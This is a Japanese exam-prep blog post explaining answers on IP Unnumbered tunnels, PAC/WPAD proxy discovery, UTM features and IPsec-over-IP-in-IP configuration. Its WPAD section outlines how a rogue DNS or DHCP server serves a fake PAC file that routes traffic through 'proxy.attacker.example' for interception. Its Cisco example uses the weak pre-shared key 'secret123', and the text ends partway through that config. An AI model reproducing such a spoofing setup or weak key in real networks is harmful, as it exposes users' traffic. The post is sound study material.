		<link>https://ascend-beyond.com/study/network_specality/8153/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Sat, 12 Sep 2026 03:34:55 +0000</pubDate>
				<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8153</guid>

					<description><![CDATA[設問１ （１）ア：ハブアンドスポーク これは知識問題なので覚えておこう！ （５）インタフェースにIPアドレス割り当てを行わない設定 IP Unnumberedは、文字通り「番号（IPアドレス）を割り当てない（Unnumb [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）ア：ハブアンドスポーク</span></h3>



<p class="wp-block-paragraph">これは知識問題なので覚えておこう！</p>



<h3 class="wp-block-heading"><span id="toc3">（５）インタフェースにIPアドレス割り当てを行わない設定</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="684" height="66" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-35.png" alt="" class="wp-image-8161" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-35.png 684w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-35-300x29.png 300w" sizes="(max-width: 684px) 100vw, 684px" /></figure>



<p class="wp-block-paragraph">IP Unnumberedは、文字通り「番号（IPアドレス）を割り当てない（Unnumbered）」技術のこと。通常、ルーターのポートや仮想インターフェース（<code>Tunnel0</code> など）には、個別にIPアドレスを設定して通信を行う。しかし、1対1で直結されているトンネル接続などの場合、「わざわざトンネル専用のIPアドレスを消費するのはもったいない」という問題が生じる。そこで、既存のインターフェース（LAN側やWAN側など）のIPアドレスを流用することで、<span class="blue">トンネルインターフェース自体には個別のIPアドレスを割り当てずに通信を可能にする設定</span>が IP Unnumbered です。</p>



<h4 class="wp-block-heading"><span id="toc4">Q.ルーティング設定はどうなるの？</span></h4>



<p class="wp-block-paragraph">A.インタフェースを指定する。トンネルを通るルーティングをトンネルIPアドレスを指定するのではなく、トンネルインタフェースを指定する。そうすることによって、IPに依存したルーティングから脱却できる。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#旧来（トンネルIPアドレスで指定）
ip route 相手WAN側IP 255.255.255.0 トンネルIP

#現在(トンネルインタフェースで指定）
ip route 相手WAN側IP 255.255.255.0 Tunnel 0" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#旧来（トンネルIPアドレスで指定）</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">相手WAN側IP</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">トンネルIP</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#現在(トンネルインタフェースで指定）</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">相手WAN側IP</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span></span></code></pre></div>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="interface Tunnel0
 ip unnumbered GigabitEthernet0/0  ! LAN側などのIPを流用し、Tunnel自体にはIPを割り当てない
 tunnel source GigabitEthernet0/0
 tunnel destination 200.2.2.2
 tunnel mode ipip" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">interface</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Tunnel0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">unnumbered</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">GigabitEthernet0/0</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">LAN側などのIPを流用し、Tunnel自体にはIPを割り当てない</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">GigabitEthernet0/0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">200.2</span><span style="color: #E6DB74">.2.2</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipip</span></span></code></pre></div>



<h4 class="wp-block-heading"><span id="toc5">Q.IP UnnumberedとNumberedの違いは？</span></h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>方式</strong></td><td><strong>メリット</strong></td><td><strong>デメリット（なぜ全員が使わないか）</strong></td></tr></thead><tbody><tr><td><strong>Numbered</strong><br>（IPアドレスを割り当てる）</td><td>・Pingによる<strong>障害切り分けが超簡単</strong><br>・動的ルーティング（OSPF等）が素直に動く</td><td>・トンネル用のIPアドレス空間（/30など）を消費する</td></tr><tr><td><strong>IP Unnumbered</strong><br>（IPアドレスを割り当てない）</td><td>・IPアドレスの無駄遣いをゼロにできる<br>・IP設計の手間が省ける</td><td>・<strong>Ping等での対向トンネル自体の監視・切り分けがしづらい</strong><br>・1対1の接続でしか使えない</td></tr><tr><td></td><td></td><td></td></tr></tbody></table></figure>



<h4 class="wp-block-heading"><span id="toc6">Q.Unnumberedだと障害切り分けが難しくなるというけどなぜ？</span></h4>



<p class="wp-block-paragraph">A.pingに応答する機器に制限があると絞り込みができないから。<br>正直、内部LANに配置されているPCやサーバすべてが常にpingを返す設定であれば、トンネルにIPを割り当てなくても、「<span class="blue">拠点A内部LAN機器→拠点B内部LAN機器</span>」の区間をpingすればトンネル障害であるか否かは判断できる。<br>しかし、pingを返す機器がサーバ１台だけの場合、もし「<span class="blue">拠点A内部LAN機器→拠点B内部LANサーバ</span>」をやって、通信失敗が起きてもそれがサーバ側の問題なのか、トンネルの問題なのか、拠点B内部LANルーティングの問題なのか切り分けられなくなる。<br>しかし、Numbered設定でトンネルIPも設定していれば「<span class="blue">拠点AルータトンネルIP→拠点BルータトンネルIP</span>」とピンポンとでトンネルを指定して、疎通を確認することができる。これによって、トンネル障害が否かを一発で判断できるようになる。<br><strong>▼具体的な切り分け手順</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>ステップ</strong></td><td><strong>実行するテスト（Ping等の対象）</strong></td><td><strong>成功（クリア）時に確定すること</strong></td><td><strong>失敗（NG）時の原因と次のアクション</strong></td></tr></thead><tbody><tr><td><strong>Step 1</strong></td><td><strong>WAN側IP ➔ 対向WAN側IP</strong></td><td><strong>インターネット回線（物理層〜L3）は正常</strong></td><td>・物理回線障害、プロバイダ障害<br>・WAN側のルーティングミス<br>➔ <strong>VPN以前の通信経路（WAN側）を復旧する</strong></td></tr><tr><td><strong>Step 2</strong></td><td><strong>トンネルIP ➔ 対向トンネルIP</strong><br><em>(※Numbered構成のみ可能)</em></td><td><strong>VPNトンネル（IPsec / カプセル化）は正常</strong></td><td>・IPsecの鍵不一致、SAセッション切れ<br>・トンネル設定ミス<br>➔ <strong>ルーターのVPN設定・ログを確認する</strong></td></tr><tr><td><strong>Step 3</strong></td><td><strong>LAN側IP ➔ 対向LAN側IP</strong><br><em>(Webサーバー宛て)</em></td><td><strong>ネットワーク全般（L1〜L3）は100%正常</strong></td><td>・Webサーバー自体のダウン<br>・WebサーバーのFWによる拒否<br>・拠点B内部のルーティング/L2障害<br>➔ <strong>サーバー本体・アプリケーション層を調査する</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc7">（6）転送負荷の増大</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="878" height="148" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-38.png" alt="" class="wp-image-8166" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-38.png 878w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-38-300x51.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-38-765x129.png 765w" sizes="(max-width: 878px) 100vw, 878px" /></figure>



<p class="wp-block-paragraph">UTMでIPフラグメント化を強いられるということは、「①パケットの分割②そのパケットに１つずつIPsec処理」といったように処理負荷が増大することが分かる。<br>もし、MSSクランピングなどを導入していたら「パケットにIPsec処理」のみで完結できるため処理負荷を抑えられる。</p>



<h2 class="wp-block-heading"><span id="toc8">設問２</span></h2>



<h3 id="3-1" class="wp-block-heading"><span id="toc9">（５）　UTMプロキシサーバのFQDNがことなるから</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="479" height="171" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-41.png" alt="" class="wp-image-8173" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-41.png 479w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-41-300x107.png 300w" sizes="(max-width: 479px) 100vw, 479px" /></figure>



<p class="wp-block-paragraph">図４のPACファイルを見ると、proxy.osaka.a-sha.jp:8080と大阪支社特有のFQDNが指定されていることが分かる。そのため、ほかの支社でも正常に動作させるにはこの部分を各支社のFQDNに直す必要がある。つまり、UTMプロキシサーバのFQDNが支社ごとに異なるためPACファイルも支社ごとに作る必要があるということ。</p>



<h2 class="wp-block-heading"><span id="toc10">設問３</span></h2>



<h3 id="3-1" class="wp-block-heading"><span id="toc11">（１）　イ：DHCP　ウ：DNS　エ：HTTP　オ：URL</span></h3>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><strong>イ：DHCP　ウ：DNS</strong></span><br> WPADにはDHCPとDNS方式がある。（<a href="#wpad">詳しくはこちら</a>）</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">エ：HTTP</span></strong><br>　WPADではPACファイルの格納場所をDHCPやDNSを使って判明させる。そのサーバにはHTTPを使ってアクセスするのが基本なので、ここにはHTTPが入る。<br>また、HTTPサーバよりもWebサーバの方が聞き覚えがあるが、Webはプロトコルではないので空欄エにはHTTPが入る。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">オ：URL</span></strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="932" height="152" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-43.png" alt="" class="wp-image-8175" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-43.png 932w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-43-300x49.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-43-766x125.png 766w" sizes="(max-width: 932px) 100vw, 932px" /></figure>



<p class="wp-block-paragraph">WPADを無効にした場合にはどのようにPACファイルを取得するかが問われている。まずは、WPADのデメリットを見ていこう！</p>



<h4 class="wp-block-heading"><span id="toc12">Q.WPADのデメリットは？</span></h4>



<p class="wp-block-paragraph">A.WPADのメリットでもある動的な配布は一歩間違えるとデメリットにもなる。「動的」とういことは管理者が関与しない部分が生まれるということ。そのため、そこの隙をついた攻撃が生まれてしまう。<br>なので、今回の場合は、そのような隙を作るよりもあらかじめスタティックにURLを指定しておこうよねということである。</p>



<h4 class="wp-block-heading"><span id="toc13">Q.URLではなくFQDNを指定するのはだめなの？</span></h4>



<p class="wp-block-paragraph">FQDNをスタティックに指定しても一見動作しそうだが、実際は動作しない。まず、WPADのDNS方式では、WPADのプログラムが「ドメインに.wpad.datをつけて名前解決」したり「URLを動的に生成してhttp://[取得したIP]/wpad.datにアクセス」したりとプログラムがURLを作ってくれた。<br>一方WPADを使わないとプログラムは動作しないので、FQDNだけ指定しても、名前解決もしなければ、そこから<strong><span class="bold-blue">URL</span></strong>を作りだすということもできない。<br>なので、FQDNではなく<span class="bold-blue">URL</span>を最初からハードコーディングしている。</p>



<h3 id="3-1" class="wp-block-heading"><span id="toc14">（２）　不正なプロキシサーバに中継される</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="925" height="140" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-42.png" alt="" class="wp-image-8174" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-42.png 925w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-42-300x45.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-42-766x116.png 766w" sizes="(max-width: 925px) 100vw, 925px" /></figure>



<p class="wp-block-paragraph">この問題は、悪意のあるDNSサーバやDHCPサーバがあるとどのような問題があるかを聞かれている。結論から言うと、偽のプロキシサーバに中継してしまい、内部情報の漏洩や通信障害を引き起こしてしまうことが発生する。では、以下で攻撃のフローを見ていこう！</p>



<p class="wp-block-paragraph"><strong>▼攻撃フロー</strong></p>



<ol start="1" class="wp-block-list">
<li><strong>攻撃の起点（偽DNS / 偽DHCP）</strong>
<ul class="wp-block-list">
<li>ネットワーク内に「悪意のあるDNSサーバー」や「悪意のあるDHCPサーバー」が存在すると、PCに対して偽のPACファイル置き場（URL）を掴ませることができる。</li>
</ul>
</li>



<li><strong>偽PACファイルの取得</strong>
<ul class="wp-block-list">
<li>PCは自動検出によって、攻撃者が用意した偽のPACファイルをダウンロードする。</li>
</ul>
</li>



<li><strong>攻撃者のプロキシへ誘導（Man-in-the-Middle / MITM攻撃）</strong>
<ul class="wp-block-list">
<li>偽PACファイルには「すべての通信は <code>proxy.attacker.example:8080</code>（攻撃者のプロキシ）を通せ」と書かれている。</li>
</ul>
</li>



<li><strong>被害（情報漏えい・盗聴・通信遮断）</strong>
<ul class="wp-block-list">
<li>PCの通信がすべて「不正なプロキシサーバーに中継される」状態になり、通信内容の盗聴・改ざん（中間者攻撃：Man-in-the-Middle）や、重要情報の漏えい、あるいは通信妨害といった重大なセキュリティ被害が発生する。</li>
</ul>
</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><span id="toc15">さらに深いVersion&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</span></h2>



<h3 class="wp-block-heading"><span id="toc16">p.16 UTMってなに？ｰｰｰｰｰｰｰｰｰｰｰｰｰｰ</span></h3>



<p class="wp-block-paragraph">UTMはUnified Threat Management（統合脅威管理）の略。イメージとしては「セキュリティ機能満載の多機能オールインワンルーター（または多機能ファイアウォール）という感じ。昔は別々の専用機器（FW装置、IPS装置、VPNルーター、Webプロキシなど）で構築されていた機能を１台にまとめたものがUTM。</p>



<p class="wp-block-paragraph"><strong>▼UTMの機能</strong><br>・<strong>ファイアウォール</strong>（アクセス制限）<br>・<strong>NAT / NAPT</strong>（IPアドレス・ポート変換機能。ルーターとしての役割）<br>・<strong>IPS/IDS</strong>（不正侵入検知・防御）<br>・<strong>アンチウイルス / アンチスパム</strong>（通信内のウイルスチェック）<br>・<strong>Webフィルタリング</strong>（危険なサイトや業務無関係なサイトへのアクセスブロック）<br>・<strong>VPNゲートウェイ</strong>（拠点間を暗号化してつなぐ機能。今回の問題でも使われる）<br><strong>・Webプロキシ</strong>（プロキシサーバとして動作可能）</p>



<h3 class="wp-block-heading"><span id="toc17">p.17 プロキシサーバのログ取得&#8212;&#8212;&#8212;-</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="768" height="50" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-31.png" alt="" class="wp-image-8156" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-31.png 768w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-31-300x20.png 300w" sizes="(max-width: 768px) 100vw, 768px" /></figure>



<p class="wp-block-paragraph"><strong>▼プロキシサーバが記録する情報</strong></p>



<ul class="wp-block-list">
<li><strong>アクセス日時</strong>（時刻）</li>



<li><strong>送信元IPアドレス</strong>（アクセスしてきたPCのIP）</li>



<li><strong>宛先情報</strong>（アクセス先のURLやFQDN、ポート番号など）</li>
</ul>



<p class="wp-block-paragraph">これだけで、よさそうだがプロキシサーバのログだけでは不十分なのでDHCPのログも取得しておく必要がある。なぜなら、IPアドレスは変動するものなので、その時間に誰がそのIPアドレスを使っていたかを特定する必要がある。</p>



<p class="wp-block-paragraph"><strong>▼DHCPサーバが記録する情報</strong></p>



<ul class="wp-block-list">
<li>DHCPサーバ側で「どのMACアドレス（端末）に、いつからいつまで、どのIPアドレスを割り当てたか」のログを保持。</li>



<li>プロキシログの「日時＋IPアドレス」と照合することで、後から「どの端末（誰）がアクセスしたか」を正確に特定する。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc18">p.17 IP in IPってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="938" height="325" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-33.png" alt="" class="wp-image-8158" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-33.png 938w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-33-300x104.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-33-768x266.png 768w" sizes="(max-width: 938px) 100vw, 938px" /></figure>



<p class="wp-block-paragraph">IP in IPとは、通常のIPパケットに、新たなIPヘッダでカプセル化することにより、元のIPパケットをペイロードとして扱える技術。</p>



<h4 class="wp-block-heading"><span id="toc19">Q.何がメリット？</span></h4>



<p class="wp-block-paragraph">A.内部情報を変更せずに相手の内部LAN内の機器にアクセスできるようになる。</p>



<h4 class="wp-block-heading"><span id="toc20">Q.IP in IPではなく、NAT/NAPTを使ったら？</span></h4>



<p class="wp-block-paragraph">A.送信側がNAT/NAPTを使うと、送信元IPアドレスが外部IPに変わってしまう。NATすると、送信元IPがすべて「ルーターのIP」に上書きされる。受信側のサーバーは「社内のどの端末（誰）がアクセスしてきたのか」をログやアクセス制御（「営業部だけ許可」など）で判別・制御できなくなる。逆に、受信側がNAT/NAPTをすると、内部LAN内のサーバに対応した外部IPを公開することになるので、外部から簡単にアクセスできるようになってしまう。</p>



<h4 class="wp-block-heading"><span id="toc21">Q.IP in IPとGREの違いは？</span></h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>IP-in-IP（IPIP）</strong></td><td><strong>GRE（Generic Routing Encapsulation）</strong></td></tr></thead><tbody><tr><td><strong>標準規格 (RFC)</strong></td><td>RFC 2003</td><td>RFC 2784 / RFC 2890</td></tr><tr><td><strong>プロトコル番号</strong></td><td><strong>4</strong> (IPv4-in-IPv4)</td><td><strong>47</strong></td></tr><tr><td><strong>運べるパケット（中身）</strong></td><td><strong>IPv4 のみ</strong></td><td><strong>IPv6、マルチキャスト、Ethernet（L2）等</strong></td></tr><tr><td><strong>ヘッダーサイズ</strong></td><td>外側IP（20B）のみで<strong>軽量</strong></td><td>外側IP（20B）＋ <strong>GREヘッダー（4〜16B）</strong></td></tr><tr><td><strong>データ整合性チェック</strong></td><td>なし（上層プロトコルに依存）</td><td><strong>あり</strong>（オプションのチェックサム機能）</td></tr><tr><td><strong>パケット順序制御</strong></td><td>なし</td><td><strong>あり</strong>（オプションのシーケンス番号）</td></tr><tr><td><strong>主な用途・メリット</strong></td><td>IPv4通信のオーバーヘッド最小化、IPsecとの組み合わせ</td><td>動的ルーティング（OSPF等）の通過、マルチプロトコルカプセル化</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc22">IP-IP over IPsecとは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="915" height="152" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-34.png" alt="" class="wp-image-8160" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-34.png 915w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-34-300x50.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-34-765x127.png 765w" sizes="(max-width: 915px) 100vw, 915px" /></figure>



<p class="wp-block-paragraph">IP-IP over IPsecとは、IP-in-IPでパケットをカプセル化（トンネル化）し、それをIPsecで暗号化して安全に通信する拠点間VPN技術のこと。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#! 1. Phase 1 設定 (ISAKMP / IKEv1 ポリシー &amp; 事前共有鍵)
crypto isakmp policy 1
 encryption aes 256
 hash sha256
 authentication pre-share
 group 14
 lifetime 86400
exit

#対向ルーターのWAN IPと事前共有鍵（パスワード）を設定
crypto isakmp key secret123 address 200.2.2.2


#! 2. Phase 2 設定 (Transform Set &amp; モード指定)
crypto ipsec transform-set MY_TS esp-aes 256 esp-sha256-hmac
 mode transport
exit


#! 3. IPsec プロファイルの作成 (ここが疑問だった箇所です)
crypto ipsec profile MY_PROFILE
 set transform-set MY_TS
exit


#! 4. トンネルインターフェース作成 &amp; IPsec適用
interface Tunnel0
 ip address 172.16.0.1 255.255.255.252
 tunnel source GigabitEthernet0/0
 tunnel destination 200.2.2.2
 tunnel mode ipip   ! ※GREの場合は「tunnel mode gre ip」（デフォルト）
 
 #! 作成した IPsec プロファイルをトンネルに適用
 tunnel protection ipsec profile MY_PROFILE
exit" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#! 1. Phase 1 設定 (ISAKMP / IKEv1 ポリシー &amp; 事前共有鍵)</span></span>
<span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">isakmp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">policy</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">encryption</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">aes</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">256</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">hash</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">sha256</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">pre-share</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">group</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">14</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">86400</span></span>
<span class="line"><span style="color: #66D9EF">exit</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#対向ルーターのWAN IPと事前共有鍵（パスワード）を設定</span></span>
<span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">isakmp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">secret123</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">200.2</span><span style="color: #E6DB74">.2.2</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#! 2. Phase 2 設定 (Transform Set &amp; モード指定)</span></span>
<span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipsec</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transform-set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MY_TS</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">esp-aes</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">256</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">esp-sha256-hmac</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transport</span></span>
<span class="line"><span style="color: #66D9EF">exit</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#! 3. IPsec プロファイルの作成 (ここが疑問だった箇所です)</span></span>
<span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipsec</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">profile</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MY_PROFILE</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">transform-set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MY_TS</span></span>
<span class="line"><span style="color: #66D9EF">exit</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#! 4. トンネルインターフェース作成 &amp; IPsec適用</span></span>
<span class="line"><span style="color: #A6E22E">interface</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Tunnel0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">172.16</span><span style="color: #E6DB74">.0.1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.252</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">source</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">GigabitEthernet0/0</span></span>
